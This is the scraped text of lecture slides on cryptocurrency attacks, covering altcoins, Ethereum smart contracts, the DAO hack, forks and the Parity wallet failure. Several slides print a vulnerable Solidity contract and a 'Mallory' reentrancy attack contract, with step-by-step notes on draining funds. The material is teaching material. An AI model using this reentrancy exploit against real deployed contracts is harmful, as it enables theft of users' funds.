More Cryptocurrency Attacks - - PowerPoint PPT Presentation

more cryptocurrency attacks
SMART_READER_LITE
LIVE PREVIEW

More Cryptocurrency Attacks - - PowerPoint PPT Presentation

More Cryptocurrency Attacks http://blockchain.unica.it/projects/ethereum-survey/index.html http://hackingdistributed.com/2016/06/18/analysis-of-the-dao- exploit/ https://hackernoon.com/what-caused-the-latest-100-million-


slide-1
SLIDE 1

More Cryptocurrency Attacks

http://blockchain.unica.it/projects/ethereum-survey/index.html http://hackingdistributed.com/2016/06/18/analysis-of-the-dao- exploit/ https://hackernoon.com/what-caused-the-latest-100-million- ethereum-bug-and-a-detection-tool-for-similar- bugs-7b80f8ab7279

slide-2
SLIDE 2

Last Class

  • Majority attacks
  • Block withholding attacks
  • Spam attacks
  • Sybil attacks
  • Blacklisting
  • Fungibility
  • Money laundering
slide-3
SLIDE 3

Last Class

  • With the rise of 51% attacks:
  • why? to what end?
  • when will this stop?
  • What are the points of centralization in this

network?

  • Is this inevitable?
slide-4
SLIDE 4

Cryptocurrencies

  • First altcoin: Bitcoin testnet
  • Second altcoin: Namecoin (DNS system)
  • over two thousand altcoins/tokens/etc.
slide-5
SLIDE 5

But… why?

  • Improvements to Bitcoin
  • Alternatives to Bitcoin
  • Other functionality complementary to Bitcoin
  • Make money for founders
slide-6
SLIDE 6

But… how?

  • Altcoins: have their own blockchain
  • Tokens: built on top of cryptocurrencies
slide-7
SLIDE 7

Alternative Proof of Work Mechanisms

  • Litecoin: scrypt
  • Cuckoo Cycle
  • etc.
slide-8
SLIDE 8

Alternative functionality

  • NameCoin: DNS system
  • Ethereum: Turing complete
  • ZCash/Monero/others: “Private”
slide-9
SLIDE 9

Namecoin

  • “completes” Zooko’s Triangle
  • Blockchain-based DNS
  • First fork of Bitcoin
  • Merge mined with Bitcoin:
  • same hash function
slide-10
SLIDE 10
slide-11
SLIDE 11

Ethereum

  • Currently the second most popular cryptocurrency
  • First proposed as a system built on top of Bitcoin
  • Started to create turing-complete money contracts

“smart contracts”

  • Ether: currency which is input/output to contracts
  • Gas: execution cost of instructions
slide-12
SLIDE 12

Smart Contracts

  • Run on blockchain and executed by all nodes
  • Created by posting a transaction
  • Identified by address
  • Can hold, receive, and send money
  • Once deployed, cannot be changed
slide-13
SLIDE 13

Ethereum uses

  • DApps
  • Distributed applications
  • CryptoKitties!
  • Ponzi schemes!
  • Tokens
  • https://coinmarketcap.com/tokens/views/all/
slide-14
SLIDE 14

The DAO

  • Crowdfunding platform
  • Envisioned as a leaderless organization
  • Anybody could hold DAO tokens
  • DAO creators together agreed on rules
  • Raised 12.7M Ether ($150M)
slide-15
SLIDE 15

Simplified DAO

  • Solidity:
  • high-level programming language to write smart

contracts with

  • python-ish
  • Enter contract: donate
  • Exit contract: withdraw
  • Fallback option:
slide-16
SLIDE 16

Simplified DAO

contract SimpleDAO {
 mapping (address => uint) public credit;
 function donate(address to){ credit[to] += msg.value; } function queryCredit(address to) returns (uint){ return credit[to]; } function withdraw(uint amount) {
 if (credit[msg.sender]>= amount) { msg.sender.call.value(amount)(); credit[msg.sender]-=amount; }}}

slide-17
SLIDE 17

Attack

contract Mallory {
 SimpleDAO public dao = SimpleDAO(0x354...);
 address owner;
 function Mallory(){owner = msg.sender; }
 function() { dao.withdraw(dao.queryCredit(this)); } function getJackpot(){

  • wner.send(this.balance);

}

slide-18
SLIDE 18

Attack

Step 1: Attacker donates ether for Mallory.

contract SimpleDAO {
 mapping (address => uint) public credit;
 function donate(address to){ credit[to] += msg.value; } function queryCredit(address to) returns (uint){ return credit[to]; }

slide-19
SLIDE 19

Attack

contract Mallory {
 SimpleDAO public dao = SimpleDAO(0x354...);
 address owner;
 function Mallory(){owner = msg.sender; }
 function() { dao.withdraw(dao.queryCredit(this)); } function getJackpot(){

  • wner.send(this.balance);

}

Step 1: Attacker donates ether for Mallory. This triggers Mallory’s fallback.

slide-20
SLIDE 20

Attack

Step 2: Mallory’s fallback calls the withdraw function.

function withdraw(uint amount) {
 if (credit[msg.sender]>= amount) { msg.sender.call.value(amount)(); credit[msg.sender]-=amount; }

slide-21
SLIDE 21

Attack

Step 3: The withdraw function then invokes Mallory’s default again via call.

function withdraw(uint amount) {
 if (credit[msg.sender]>= amount) { msg.sender.call.value(amount)(); credit[msg.sender]-=amount; }

slide-22
SLIDE 22

Attack

contract Mallory {
 SimpleDAO public dao = SimpleDAO(0x354...);
 address owner;
 function Mallory(){owner = msg.sender; }
 function() { dao.withdraw(dao.queryCredit(this)); } function getJackpot(){

  • wner.send(this.balance);

}

Step 4: We then attempt to withdraw again. The last call to withdraw was interrupted before it could update the credit field, so we still have ether to withdraw!

slide-23
SLIDE 23

Attack

  • We can repeat ad nauseam until:
  • contract gas is exhausted OR
  • balance of DAO is zero.
slide-24
SLIDE 24

But wait!

7 days before drain started

slide-25
SLIDE 25

But wait!

5 days before drain started

slide-26
SLIDE 26

But wait!

  • Code was attacked after it was patched.
  • But how can that be?
  • Remember: once deployed, cannot change
slide-27
SLIDE 27

Ethereum Price Shock

slide-28
SLIDE 28

Forks

  • Fork: update in software
  • Hard Fork
  • requires software update; old version

incompatible

  • Soft Fork
  • old version compatible with new software
slide-29
SLIDE 29

Forks

29

slide-30
SLIDE 30

What to do next with Ethereum?

  • Nothing
  • Gas limit
  • Ban spam addresses
  • Soft Fork
  • Hard Fork
slide-31
SLIDE 31

What happened next

https://www.ofnumbers.com/2016/07/28/ethereum-core-and- ethereum-classic-for-dummies/

slide-32
SLIDE 32

Parity Multisig

  • Ethereum Wallet
  • One person “killing” a wallet killed every wallet that

relied on the contract

slide-33
SLIDE 33
slide-34
SLIDE 34
slide-35
SLIDE 35
slide-36
SLIDE 36

Questions

  • If we can’t secure code in a normal case, how will

we be able to secure it on a blockchain?

  • Do new blockchains create decentralization or

centralization pressures? how?